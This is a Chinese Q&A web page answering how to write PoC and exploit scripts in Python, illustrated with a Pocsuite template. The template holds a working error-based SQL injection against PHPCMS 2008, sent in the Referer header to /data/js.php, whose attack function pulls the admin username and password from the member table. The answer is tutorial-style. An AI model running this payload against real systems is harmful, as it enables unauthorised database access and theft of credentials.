永发信息网

如何使用python编写poc,exp

答案:1  悬赏:0  手机版
解决时间 2021-02-23 22:10
如何使用python编写poc,exp
最佳答案
然后来谈谈自己的看法:
其实吧,无论乌云的Tangscan也好,知道创宇的Pocsuite也好,还有Beebeeto也好(Bugscan没写过,不是特别了解不过应该差不多),关于Web的Poc和Exp,都极度依赖于两个Python库。
1. Requests : 模拟Web的请求和响应等交互动作。
2. Re : 正则表达式,用来验证返回的结果是否符合漏洞的预期,从而验证漏洞是否存在。
其余的大部分代码都是漏洞的信息。
Pocsuite官方文档例子:
#!/usr/bin/env python
# coding: utf-8
import re
import urlparse
from t import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
vulID = '62274' # ssvid
version = '1'
author = ['Medici.Yan']
vulDate = '2011-11-21'
createDate = '2015-09-23'
updateDate = '2015-09-23'
references = ['']
name = '_62274_phpcms_2008_place_sql_inj_PoC'
appPowerLink = ''
appName = 'PHPCMS'
appVersion = '2008'
vulType = 'SQL Injection'
desc = '''
phpcms 2008 中广告模块,存在参数过滤不严,
导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用,
如果关闭了错误显示,可以采用基于时间和错误的盲注
'''
samples = ['']

def _attack(self):
result = {}
vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schema.tables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200:
match_result = re.search(r'Duplicate entry \'1--(.+)---(.+)--\' for key', resp.content, re.I | re.M)
if match_result:
result['AdminInfo'] = {}
result['AdminInfo']['Username'] = match_result.group(1)
result['AdminInfo']['Password'] = match_result.group(2)
return self.parse_attack(result)

def _verify(self):
result = {}
vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
payload = "1', (SELECt 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_schema.tables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200 and 'c4ca4238a0b923820dcc509a6f75849b' in resp.content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = vulurl
result['VerifyInfo']['Payload'] = payload

return self.parse_attack(result)

def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output

register(TestPOC)

可以看到从代码11到28行都是漏洞的一些信息,真正的功能函数只有_attack和_verify两个而已。甚至这个例子有点繁琐了,现在大大们都是把exploit写在verify里面,所以真正起到功能的,也就不到十行的代码。pocsuite.net 这个库其实就是Requests。用Requests模拟手工注入的Post提交,用正则匹配提取和验证必要信息,简单说起来就是这两个步骤。
这么一来你再看看其他的由Python写的Poc和Exp就大同小异了。Poc/Exp总的说来就只是用程序代替手工的过程而已,所以了解了漏洞的原理和认证方法之后就简单了。
代码很简单最主要的,还是对于漏洞的理解。
先说到这里,有空之后再写一些别的。
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
喜欢牵手就能结婚的故事,却生在了上床都没结
上海嘉定二手书市场在哪里
“四书”中不包括()。
赶场坝在哪里啊,我有事要去这个地方
thinkpad R61i 7742A19 开机error: Error 210
人的品格有哪些
借了弟弟的奥迪Q5开,自动档车,钥匙放进去,
科华冷冻食品有限责任公司地址有知道的么?有
在一条长72米的大路一边每隔8米栽树(首尾都
有什么办法马上得到三千块钱
急!重庆哪些二本院校有金融专业?
开关电压22Ov灯不亮-
实况力量棒球2013出了没
邻居家13岁孩子偷我家钱已经三次了,第一次偷
奶博士母婴生活馆在什么地方啊,我要过去处理
推荐资讯
BB车行怎么去啊,有知道地址的么
焕金建材地址在哪,我要去那里办事
天涯明月刀怎么组队?
数学9年级。
木地板上的狗屎,怎么清除
龙之悦装饰这个地址在什么地方,我要处理点事
苏宁电器常州仓库地址在什么地方,想过去办事
我想开一个汽车用品点,但是我完全不懂
南宋时徽州人均耕地15亩,元代降至4亩,明万
我在支付宝里面更改了绑定的手机号码,我想解
小孩不听话打哪里最保险
泰浩建设集团地址有知道的么?有点事想过去
正方形一边上任一点到这个正方形两条对角线的
阴历怎么看 ?